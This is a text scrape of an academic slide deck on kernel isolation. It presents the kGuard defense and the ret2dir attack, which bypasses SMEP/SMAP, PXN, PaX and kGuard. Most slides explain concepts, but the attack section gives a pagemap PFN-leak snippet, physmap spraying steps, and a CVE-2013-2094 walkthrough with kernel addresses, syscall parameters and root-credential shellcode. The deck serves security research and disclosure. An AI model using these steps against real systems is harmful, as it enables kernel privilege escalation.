Rethinking Kernel Isolation Vasileios P. Kemerlis Network Security - - PowerPoint PPT Presentation

rethinking kernel isolation
SMART_READER_LITE
LIVE PREVIEW

Rethinking Kernel Isolation Vasileios P. Kemerlis Network Security - - PowerPoint PPT Presentation

Rethinking Kernel Isolation Vasileios P. Kemerlis Network Security Lab Department of Computer Science Columbia University New York, NY, USA Georgia Institute of Technology, 09/12/2014 vpk@cs.columbia.edu (Columbia University) ret2dir GT


slide-1
SLIDE 1

Rethinking Kernel Isolation

Vasileios P. Kemerlis

Network Security Lab Department of Computer Science Columbia University New York, NY, USA

Georgia Institute of Technology, 09/12/2014

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 1 / 59

slide-2
SLIDE 2

Outline

Introduction Kernel attacks & defenses Problem statement Attack (ret2dir) Background Bypassing SMEP/SMAP, PXN, PaX, kGuard Defense (XPFO) Design & implementation Performance Conclusion Recap

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 4 / 59

slide-3
SLIDE 3

Introduction Kernel attacks & defenses

Attacking the “Core”

Threats classification

  • 1. Privilege escalation

I Arbitrary code execution code-injection, ROP, ret2usr

7 Kernel stack smashing 7 Kernel heap overflows 7 Wild writes, off-by-n 7 Poor arg. sanitization 7 User-after-free, double free, dangling pointers 7 Signedness errors, integer overflows 7 Race conditions, memory leaks 7 Missing authorization checks

  • 2. Persistent foothold

I Kernel object hooking (KOH) control-flow hijacking

7 Kernel control data (function ptr., dispatch tbl., return addr.) 7 Kernel code (.text)

I Direct kernel object manipulation (DKOM) cloaking

7 Kernel non-control data

  • 3. ...

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 5 / 59

slide-4
SLIDE 4

Introduction Kernel attacks & defenses

Attacking the “Core”

Threats classification

  • 1. Privilege escalation

I Arbitrary code execution code-injection, ROP, ret2usr

7 Kernel stack smashing 7 Kernel heap overflows 7 Wild writes, off-by-n 7 Poor arg. sanitization 7 User-after-free, double free, dangling pointers 7 Signedness errors, integer overflows 7 Race conditions, memory leaks 7 Missing authorization checks

  • 2. Persistent foothold

I Kernel object hooking (KOH) control-flow hijacking

7 Kernel control data (function ptr., dispatch tbl., return addr.) 7 Kernel code (.text)

I Direct kernel object manipulation (DKOM) cloaking

7 Kernel non-control data

  • 3. ...

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 6 / 59

slide-5
SLIDE 5

Introduction Kernel attacks & defenses

Attacking the “Core”

Threats classification

  • 1. Privilege escalation

I Arbitrary code execution code-injection, ROP, ret2usr

7 Kernel stack smashing 7 Kernel heap overflows 7 Wild writes, off-by-n 7 Poor arg. sanitization 7 User-after-free, double free, dangling pointers 7 Signedness errors, integer overflows 7 Race conditions, memory leaks 7 Missing authorization checks

  • 2. Persistent foothold

I Kernel object hooking (KOH) control-flow hijacking

7 Kernel control data (function ptr., dispatch tbl., return addr.) 7 Kernel code (.text)

I Direct kernel object manipulation (DKOM) cloaking

7 Kernel non-control data

  • 3. ...

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 7 / 59

slide-6
SLIDE 6

Introduction Kernel attacks & defenses

Return-to-user (ret2usr) Attacks

What are they?

Attacks against OS kernels with shared kernel/user address space

  • Overwrite kernel code (or data) pointers

with user space addresses

7 return addr., dispatch tbl., function ptr., 7 data ptr.

I Payload ! Shellcode, ROP payload,

tampered-with data structure(s)

I Placed in user space

7 Executed (referenced) in kernel context

I De facto kernel exploitation technique

I Facilitates privilege escalation arbitrary code execution

7 http://www.exploit-db.com/exploits/34134/ (21/07/14) 7 http://www.exploit-db.com/exploits/131/ (05/12/03)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 8 / 59

slide-7
SLIDE 7

Introduction Kernel attacks & defenses

ret2usr Attacks (cont’d)

Why do they work?

Weak address space (kernel/user) separation

  • Shared kernel/process model ! Performance

X cost(mode switch) ⌧ cost(context switch)

I The kernel is protected from

userland ! Hardware-assisted isolation

7 The opposite is not true 7 Kernel ambient authority (unrestricted access to all memory and system objects)

I The attacker completely controls

user space memory

  • Contents & perms.

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 9 / 59

slide-8
SLIDE 8

Introduction Kernel attacks & defenses

kGuard [USENIX Sec ’12]

Versatile & lightweight protection against ret2usr

I Cross-platform solution that enforces (partial) address space

separation between user and kernel space

  • x86, x86-64, ARM, ...
  • Linux, Android, {Free, Net, Open}BSD, ...

I Builds upon inline monitoring and code diversification I Implemented as a set of modifications to the pipeline of GCC

  • Non-intrusive & low overhead
  • Back-end plugin ! ⇠ 1KLOC in C

*.m, *.mi *.java *.cxx, *.cpp *.cc, *.c++ *.c, *.i *.F, *.FOR *.s Objective−C Fortran ...

GENERIC

Java C C++

Middle−end GIMPLE

GIMPLE High GIMPLE Low GIMPLE SSA

Back−end

RTL

Front−ends

...

kGuard (NOP & CFA)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 10 / 59

slide-9
SLIDE 9

Introduction Kernel attacks & defenses

kGuard Design

Control-flow assertions (key technology #1)

I Compact, inline guards injected at

compile time

  • Two flavors ! CFAR & CFAM

I Placed before every exploitable control

transfer

  • call, jmp, ret in x86/x86-64
  • ldm, blx, ..., in ARM

kernel .text kernel .text Original code branch branch Instrumented code branch branch CFA CFA I Verify that the target address of an indirect branch is always inside

kernel space

I If the assertion is true, execution continues normally; otherwise,

control is transfered to a runtime violation handler

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 11 / 59

slide-10
SLIDE 10

Introduction Kernel attacks & defenses

kGuard Design (cont’d)

CFAR example cmp $0xc0000000,%ebx jae lbl mov $0xc05af8f1,%ebx lbl: call *%ebx if (reg < 0xc0000000) reg = &<violation_handler>; call *reg

Indirect call in drivers/cpufreq/cpufreq.c (x86 Linux)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 12 / 59

slide-11
SLIDE 11

Introduction Kernel attacks & defenses

kGuard Design (cont’d)

CFAM examples (1/2) push %edi lea 0x50(%ebx),%edi cmp $0xc0000000,%edi jae lbl1 pop %edi call 0xc05af8f1 lbl1: pop %edi cmpl $0xc0000000,0x50(%ebx) jae lbl2 movl $0xc05af8f1,0x50(%ebx) lbl2: call *0x50(%ebx) if (&mem < 0xc0000000) call <violation_handler>; if (mem < 0xc0000000) mem = &<violation_handler>; call *mem ;

Indirect call in net/socket.c (x86 Linux)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 13 / 59

slide-12
SLIDE 12

Introduction Kernel attacks & defenses

kGuard Design (cont’d)

CFAM examples (2/2) & optimizations cmpl $0xc0000000,0xc123beef jae lb movl $0xc05af8f1,0xc123beef lb: call *0xc123beef if (&mem < 0xc0000000) call <violation_handler>; if (mem < 0xc0000000) mem = &<violation_handler>; call *mem ;

Optimized CFAM guard (x86 Linux)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 14 / 59

slide-13
SLIDE 13

Introduction Kernel attacks & defenses

ret2usr Defenses

State of the art overview

X KERNEXEC/UDEREF ! PaX

I 3rd-party Linux patch(es) ! x86-64/x86/AArch32 only I HW/SW-assisted address space separation

  • x86 ! Seg. unit (reload %cs, %ss, %ds, %es)
  • x86-64 ! Code instr. & temporary user space re-mapping
  • ARM (AArch32) ! ARM domains

X kGuard ! Kemerlis et al. [USENIX Sec ’12]

I Cross-platform solution that enforces (partial) address space separation

  • x86, x86-64, ARM, ...
  • Linux, {Free, Net, Open}BSD, ...

I Builds upon inline monitoring (code intr.) & code diversification

(code inflation & CFA motion)

X SMEP/SMAP, PXN ! Intel, ARM

I HW-assisted address space separation

  • Access violation if priv. code (ring 0) executes/accesses

instructions/data from user pages (U/S = 1)

I Vendor and model specific (Intel x86/x86-64, ARM) vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 15 / 59

slide-14
SLIDE 14

Introduction Kernel attacks & defenses

ret2usr Defenses (cont’d)

Summary

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 16 / 59

slide-15
SLIDE 15

Introduction Problem statement

Rethinking Kernel Isolation [USENIX Sec ’14]

What is this talk about?

Focus on ret2usr defenses ! SMEP/SMAP, PXN, PaX, kGuard

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 17 / 59

slide-16
SLIDE 16

Introduction Problem statement

Rethinking Kernel Isolation [USENIX Sec ’14]

What is this talk about?

Focus on ret2usr defenses ! SMEP/SMAP, PXN, PaX, kGuard

I Can we subvert them?

  • Force the kernel to execute/access user-controlled code/data

I Conflicting design choices or optimizations?

  • “Features” that weaken the (strong) separation of address spaces

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 17 / 59

slide-17
SLIDE 17

Introduction Problem statement

Rethinking Kernel Isolation [USENIX Sec ’14]

What is this talk about?

Focus on ret2usr defenses ! SMEP/SMAP, PXN, PaX, kGuard

I Can we subvert them?

  • Force the kernel to execute/access user-controlled code/data

I Conflicting design choices or optimizations?

  • “Features” that weaken the (strong) separation of address spaces

Return-to-direct-mapped memory (ret2dir)

I Attack against hardened (Linux) kernels

X Bypasses all existing ret2usr schemes X 8 ret2usr exploit 9 ret2dir exploit

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 17 / 59

slide-18
SLIDE 18

Attack (ret2dir) Background

Kernel Space Layout

Linux x86/x86-64

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 18 / 59

slide-19
SLIDE 19

Attack (ret2dir) Background

physmap

Functionality

Fundamental building block of dynamic kernel memory

(kmalloc, SLAB/SLUB)

  • 1. (De)allocate kernel memory without altering page tables

I Minimum latency in fast-path ops. (e.g., kmalloc in ISR) I Less TLB pressure ! No TLB shootdown(s) needed

  • 2. Virtually contiguous memory ! Physically contiguous (guaranteed)

I Directly assign kmalloc-ed memory to devices for DMA I Increased cache performance

  • 3. Page frame accounting made easy

I virt(pfn) PHYS OFFSET + (pfn << PAGE SHIFT) I pfn(vaddr) (vaddr - PHYS OFFSET) >> PAGE SHIFT vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 19 / 59

slide-20
SLIDE 20

Attack (ret2dir) Background

physmap (cont’d)

Location, size, and access rights

Architecture PHYS OFFSET Size Prot. x86 (3G/1G) 0xC0000000 891MB RW (2G/2G) 0x80000000 1915MB RW (1G/3G) 0x40000000 2939MB RW AArch32 (3G/1G) 0xC0000000 760MB RW(X) (2G/2G) 0x80000000 1784MB RW(X) (1G/3G) 0x40000000 2808MB RW(X) x86-64 0xFFFF880000000000 64TB RW(X) AArch64 0xFFFFFFC000000000 256GB RW(X)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 20 / 59

< v3.14 < v3.9

slide-21
SLIDE 21

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

The ret2dir Attack

Basic assumptions

Threat model

I Vulnerability that allows overwriting kernel code (or data) pointers

with user-controlled values

X CVE-2013-0268, CVE-2013-2094, CVE-2013-1763 X CVE-2010-4258, CVE-2010-3904, CVE-2010-3437 X CVE-2010-3301, CVE-2010-2959, ...

I Hardened Linux kernel

7 SMEP/SMAP, PXN, KERNEXEC/UDEREF, kGuard No ret2usr 7 KASLR, WˆX, stack canaries, SLAB red zones 7 const dispatch tables (IDT, GDT, syscall) 7 .rodata sections 7 ...

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 21 / 59

slide-22
SLIDE 22

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

The ret2dir Attack (cont’d)

physmap is considered harmful

I Physical memory is allocated in user space lazily ! Page faults

  • 1. Demand paging
  • brk, [stack]
  • mmap/mmap2, mremap, shmat
  • Swapping (swapped in pages)
  • 2. Copy-on-write (COW)
  • fork, clone

physmap Address aliasing

Given the existence of physmap, whenever the kernel (buddy allocator) maps a page frame to user space, it effectively creates an alias (synonym)

  • f user content in kernel space!

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 22 / 59

slide-23
SLIDE 23

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

The ret2dir Attack (cont’d)

Operation

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 23 / 59

slide-24
SLIDE 24

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

The ret2dir Attack (cont’d)

The devil is (always) in the detail

Challenges

  • 1. Pinpoint the exact location of a synonym of user-controlled data

(payload) within the physmap area

  • 2. When sizeof(physmap) < sizeof(RAM) ! Force a synonym
  • f payload to emerge inside the physmap area
  • 3. When sizeof(payload) > PAGE SIZE ! Force synonym pages

to be contiguous in physmap

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 24 / 59

slide-25
SLIDE 25

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Locating Synonyms

Leaking PFNs via /proc (1/2)

C1: Given a user space virtual address (uaddr)

?

! Synonym in kernel space (kaddr)

I Usual suspect: /proc (procfs)

X /proc/<pid>/pagemap ! Page table examination (from user space) for debugging purposes (since v2.6.25)

I 64-bit value per page ! Indexed by virtual page number

  • [0:54] ! Page frame number (PFN)
  • [63] ! Page present

PFN(uaddr)

seek((uaddr >> PAGE_SHIFT) * sizeof(uint64_t)); read(&v, sizeof(uint64_t)); if (v & (1UL << 63)) PFN = v & ((1UL << 55) - 1);

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 25 / 59

slide-26
SLIDE 26

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Locating Synonyms (cont’d)

Leaking PFNs via /proc (2/2) F1 :kaddr = PHYS OFFSET + PAGE SIZE * (PFN(uaddr) - PFN MIN)

I PHYS OFFSET ! Starting address of physmap in kernel space I PFN MIN ! 1st PFN (e.g., in ARM Versatile RAM starts at

0x60000000; PFN MIN = 0x60000)

Architecture PHYS OFFSET x86 (3G/1G) 0xC0000000 (2G/2G) 0x80000000 (1G/3G) 0x40000000 AArch32 (3G/1G) 0xC0000000 (2G/2G) 0x80000000 (1G/3G) 0x40000000 x86-64 0xFFFF880000000000 AArch64 0xFFFFFFC000000000

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 26 / 59

slide-27
SLIDE 27

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Ensuring the Presence of Synonyms

What if sizeof(physmap) < sizeof(RAM)?

C2: Force a synonym of payload to emerge inside physmap

I PFN MAX = PFN MIN + min(sizeof(physmap),sizeof(RAM))/PAGE SIZE I If PFN(uaddr) > PFN MAX ! @ synonym of uaddr in physmap Architecture Size x86 (3G/1G) 891MB (2G/2G) 1915MB (1G/3G) 2939MB AArch32 (3G/1G) 760MB (2G/2G) 1784MB (1G/3G) 2808MB

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 27 / 59

slide-28
SLIDE 28

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Ensuring the Presence of Synonyms (cont’d)

Physical memory organization in 32-bit Linux architectures

Source: Understanding the Linux Kernel (2nd ed.)

I ZONE DMA  16MB I ZONE DMA < ZONE NORMAL  min(sizeof(physmap),sizeof(RAM)) I ZONE HIGHMEM > ZONE NORMAL

  • /proc/buddyinfo, /proc/zoneinfo

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 28 / 59

slide-29
SLIDE 29

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Ensuring the Presence of Synonyms (cont’d)

Physical memory organization in 32-bit Linux architectures

I Ordering: ZONE DMA < · ZONE NORMAL < · ZONE HIGHMEM

7 User space gets page frames from ZONE HIGHMEM

I Preserve direct-mapped memory for dynamic requests from the kernel vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 29 / 59

slide-30
SLIDE 30

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Ensuring the Presence of Synonyms (cont’d)

Physical memory organization in 32-bit Linux architectures

I Ordering: ZONE DMA < · ZONE NORMAL < · ZONE HIGHMEM

7 User space gets page frames from ZONE HIGHMEM

I Preserve direct-mapped memory for dynamic requests from the kernel

Q: Can we force the zone allocator to provide page frames in user space from ZONE {NORMAL,DMA}?

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 29 / 59

slide-31
SLIDE 31

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Ensuring the Presence of Synonyms (cont’d)

What if sizeof(physmap) < sizeof(RAM)?

C2: Force a synonym of payload to emerge inside physmap

  • 1. Allocate a (big) chunk of RW memory in user space ! M

I mmap/mmap2, shmat, ...

  • 2. 8 page P 2 M ! Trigger a write fault (or MAP POPULATE)
  • 3. If 9P 2 M, PFN(P)  PFN MAX

I mlock(P) I Compute kaddr using F1 (P)

  • 4. Else, goto 1
  • If sizeof(uspace) ⌧ sizeof(RAM) ! Spawn additional process(es)
  • Memory pressure helps!

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 30 / 59

slide-32
SLIDE 32

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Locating Contiguous Synonyms

What if sizeof(payload) > PAGE SIZE?

C3: Force synonym pages to be contiguous in physmap

  • 1. Allocate a (big) chunk of RW memory in user space ! M

I mmap/mmap2, shmat, ...

  • 2. 8 page P 2 M ! Trigger a write fault (or MAP POPULATE)
  • 3. If 9Pi, Pj 2 M, PFN(Pj) = PFN(Pi) + 1

I mlock(Pi,Pj) I Split the payload in Pi & Pj (synonyms of Pi, Pj are contiguous) I Compute kaddr using F1 (min(Pi,Pj))

  • 4. Else, goto 1
  • PFN(0xBEEF000) = 0x2E7C2, 0xFEEB000 = 0x2E7C3
  • ⇠64MB apart in user space ! Contiguous in physmap

([0xEE7C2000:0xEE7C3FFF])

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 31 / 59

slide-33
SLIDE 33

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Locating Synonyms

ret2dir without access to /proc/<pid>/pagemap

Q: What if PFN information is not available?

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 32 / 59

slide-34
SLIDE 34

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Locating Synonyms

ret2dir without access to /proc/<pid>/pagemap

Q: What if PFN information is not available? physmap spraying ! Very similar to how heap spraying works

  • 1. Pollute physmap with aligned copies of the exploit payload

I Maximize the exploit foothold on physmap

  • 2. Pick an arbitrary, page-aligned physmap address and use it as the

synonym of the exploit payload

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 32 / 59

slide-35
SLIDE 35

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Locating Synonyms (cont’d)

physmap spraying

I The attacking process copies the exploit payload into N

physmap-resident pages

I The probability P that an arbitrarily chosen, page-aligned physmap

address will contain the exploit payload is: P = N/(PFN MAX-PFN MIN)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 33 / 59

slide-36
SLIDE 36

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Locating Synonyms (cont’d)

physmap spraying

I The attacking process copies the exploit payload into N

physmap-resident pages

I The probability P that an arbitrarily chosen, page-aligned physmap

address will contain the exploit payload is: P = N/(PFN MAX-PFN MIN)

max(P)

  • 1. max(N)
  • 2. min(PFN MAX-PFN MIN)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 33 / 59

slide-37
SLIDE 37

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

physmap Spraying

max(N)

  • 1. Allocate a (big) chunk of RW memory in user space ! M

I mmap/mmap2, shmat, ...

  • 2. 8 page P 2 M ! Copy the exploit payload in P and trigger a write

fault (or MAP POPULATE)

  • 3. “Emulate” mlock ! Prevent swapping

I Start a set of background threads that repeatedly mark payload pages

as dirty (e.g., by writing a single byte)

  • 4. Check RSS (foothold in physmap) ! getrusage
  • 5. goto 1, unless RSS < RSSprev
  • If sizeof(uspace) ⌧ sizeof(RAM) ! Spawn additional process(es)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 34 / 59

slide-38
SLIDE 38

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

physmap Spraying (cont’d)

min(PFN MAX-PFN MIN)

Reduce the set of target pages in physmap ! physmap signatures

I x86

  • Page frame 0 is used by BIOS ! HW config. discovered during POST
  • [0xA0000:0xFFFFF] ! Memory-mapped RAM of video cards

I x86-64

I 0x1000000 ! Kernel .text, .rodata, data, .bss

I AArch32

I ...

I AArch64

I ... vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 35 / 59

slide-39
SLIDE 39

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough

CVE-2013-2094 internals (1/2) struct perf_event_attr { ... __u64 config; ... }; static int perf_swevent_init(struct perf_event *event) { int event_id = event->attr.config; ... if (event_id >= PERF_COUNT_SW_MAX) return -ENOENT; ... static_key_slow_inc(&perf_swevent_enabled[event_id]); ... }

kernel/events/core.c (Linux)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 36 / 59

slide-40
SLIDE 40

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

CVE-2013-2094 internals (2/2)

I struct static key perf swevent enabled[]

  • sizeof(struct static key) ! 24 (LP64), 12 (ILP32)

struct static_key { atomic_t enabled; struct jump_entry *entries; struct static_key_mod *next; }; I static key slow inc() ! .enabled += 1

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 37 / 59

slide-41
SLIDE 41

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

Pwning like a boss (1/3)

I Ubuntu 12.04 LTS, 3.8.0-19-generic (amd64) I &perf swevent enabled[] !

0xFFFFFFFF81EF7180 (kernel .data)

I min(event id) ! 0x80000000 (2GB)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 38 / 59

slide-42
SLIDE 42

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

Pwning like a boss (1/3)

I Ubuntu 12.04 LTS, 3.8.0-19-generic (amd64) I &perf swevent enabled[] !

0xFFFFFFFF81EF7180 (kernel .data)

I min(event id) ! 0x80000000 (2GB) I Corrupt a code pointer (fptr)

  • fptr 2 kernel image (.data section)
  • &fptr < 0xFFFFFFFF81EF7180
  • (0xFFFFFFFF81EF7180 - &fptr) !

multiple of 24

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 38 / 59

slide-43
SLIDE 43

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

Pwning like a boss (1/3)

I Ubuntu 12.04 LTS, 3.8.0-19-generic (amd64) I &perf swevent enabled[] !

0xFFFFFFFF81EF7180 (kernel .data)

I min(event id) ! 0x80000000 (2GB) I Corrupt a code pointer (fptr)

  • fptr 2 kernel image (.data section)
  • &fptr < 0xFFFFFFFF81EF7180
  • (0xFFFFFFFF81EF7180 - &fptr) !

multiple of 24 X &apparmor ops.shm shmat ! 0xFFFFFFFF81C71AA8

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 38 / 59

slide-44
SLIDE 44

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

Pwning like a boss (2/3)

  • perf swevent enabled[-110153] =

&apparmor ops.shm shmat

  • apparmor ops.shm shmat =

0xFFFFFFFF812DB050 (&cap shm shmat) 7 static key slow inc() will increase apparmor ops.shm shmat (+1)

0x...81c71aa8 0x...81ef7180 0x...81304e62 0x...812db050

perf_swevent_enabled[] apparmor_ops.shm_shmat call *%rsi cap_shm_shmat

.data (kernel) .text (kernel) 0xffffc800... 0xffff8800... physmap

shellcode: pop %rax ... ret

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 39 / 59

slide-45
SLIDE 45

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

Pwning like a boss (2/3)

  • perf swevent enabled[-110153] =

&apparmor ops.shm shmat

  • apparmor ops.shm shmat =

0xFFFFFFFF812DB050 (&cap shm shmat) 7 static key slow inc() will increase apparmor ops.shm shmat (+1)

0x...81c71aa8 0x...81ef7180 0x...81304e62 0x...812db050

perf_swevent_enabled[] apparmor_ops.shm_shmat call *%rsi cap_shm_shmat

.data (kernel) .text (kernel) 0xffffc800... 0xffff8800... physmap

shellcode: pop %rax ... ret

I “The Great Escape”

I Code-reuse to the rescue I 0xFFFFFFFF81304E62 ! call *%rsi I 0xFFFFFFFF81304E62 - 0xFFFFFFFF812DB050 = 0x29E12

(171538)

shmat(int shmid, const void *shmaddr, int shmflg)

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 39 / 59

slide-46
SLIDE 46

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

Pwning like a boss (3/3)

Attack plan

  • 1. Map the exploit payload in physmap

I 0x7f2781998000 ↔ 0xffff8800075b3000

  • 2. perf event open(&attr, 0, -1, -1, 0)

I attr.config = 0xfffffffffffe51b7 I 0x29E12 (171538) times

  • 3. shmat(shmid, 0xffff8800075b3000, 0)

pop %rax push %rbp mov %rsp, %rbp push %rbx mov $<pkcred>, %rbx mov $<ccreds>, %rax mov $0x0, %rdi callq *%rax mov %rax, %rdi callq *%rbx mov $0x0, %rax pop %rbx leaveq ret

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 40 / 59

slide-47
SLIDE 47

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

ret2dir Walkthrough (cont’d)

Pwning like a boss (3/3)

Attack plan

  • 1. Map the exploit payload in physmap

I 0x7f2781998000 ↔ 0xffff8800075b3000

  • 2. perf event open(&attr, 0, -1, -1, 0)

I attr.config = 0xfffffffffffe51b7 I 0x29E12 (171538) times

  • 3. shmat(shmid, 0xffff8800075b3000, 0)

pop %rax push %rbp mov %rsp, %rbp push %rbx mov $<pkcred>, %rbx mov $<ccreds>, %rax mov $0x0, %rdi callq *%rax mov %rax, %rdi callq *%rbx mov $0x0, %rax pop %rbx leaveq ret

vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 40 / 59

slide-48
SLIDE 48

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard Source: Dilbert (http://www.dilbert.com) vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 41 / 59

slide-49
SLIDE 49

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Evaluation

ret2dir effectiveness

EDB-ID Arch. Kernel Payload Protection Bypassed 26131 x86/x86-64 3.5/3.8 ROP/SHELLCODE |KERNEXEC|UDEREF|kGuard |SMEP|SMAP| | 3 24746 x86-64 3.5 SHELLCODE |KERNEXEC| |kGuard |SMEP| | | 3 15944 x86 2.6.33.6 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*| | | | 3 15704 x86 2.6.35.8 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*| | | | 3 15285 x86-64 2.6.33.6 ROP/SHELLCODE |KERNEXEC|UDEREF|kGuard | | | | 3 15150 x86 2.6.35.8 STRUCT | |UDEREF| | | | | 3 15023 x86-64 2.6.33.6 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*| | | | 3 14814 x86 2.6.33.6 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*| | | | 3 Custom x86 3.12 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*|SMEP|SMAP| | 3 Custom x86-64 3.12 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*|SMEP|SMAP| | 3 Custom AArch32 3.8.7 STRUCT+SHELLCODE |KERNEXEC|UDEREF|kGuard | | | | 3 Custom AArch64 3.12 STRUCT+SHELLCODE | | |kGuard | | |PXN| 3 vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 42 / 59

slide-50
SLIDE 50

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Evaluation

ret2dir effectiveness

EDB-ID Arch. Kernel Payload Protection Bypassed 26131 x86/x86-64 3.5/3.8 ROP/SHELLCODE |KERNEXEC|UDEREF|kGuard |SMEP|SMAP| | 3 24746 x86-64 3.5 SHELLCODE |KERNEXEC| |kGuard |SMEP| | | 3 15944 x86 2.6.33.6 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*| | | | 3 15704 x86 2.6.35.8 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*| | | | 3 15285 x86-64 2.6.33.6 ROP/SHELLCODE |KERNEXEC|UDEREF|kGuard | | | | 3 15150 x86 2.6.35.8 STRUCT | |UDEREF| | | | | 3 15023 x86-64 2.6.33.6 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*| | | | 3 14814 x86 2.6.33.6 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*| | | | 3 Custom x86 3.12 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*|SMEP|SMAP| | 3 Custom x86-64 3.12 STRUCT+ROP |KERNEXEC|UDEREF|kGuard*|SMEP|SMAP| | 3 Custom AArch32 3.8.7 STRUCT+SHELLCODE |KERNEXEC|UDEREF|kGuard | | | | 3 Custom AArch64 3.12 STRUCT+SHELLCODE | | |kGuard | | |PXN| 3 vpk@cs.columbia.edu (Columbia University) ret2dir GT ’14 42 / 59

slide-51
SLIDE 51

Attack (ret2dir) Bypassing SMEP/SMAP, PXN, PaX, kGuard

Evaluation (cont’d)

Spraying performance Physical Memory

1GB 2GB 4GB 8GB 16GB

Success Probability

0.2 0.4 0.6 0.8 1 Idle Browsing Kernel Build

I 2x 2.66GHz quad core Xeon X5500, 16GB RAM, 64-bit Debian Linux v7 I 5 repetitions of the same experiment, 95% confidence intervals (error bars)

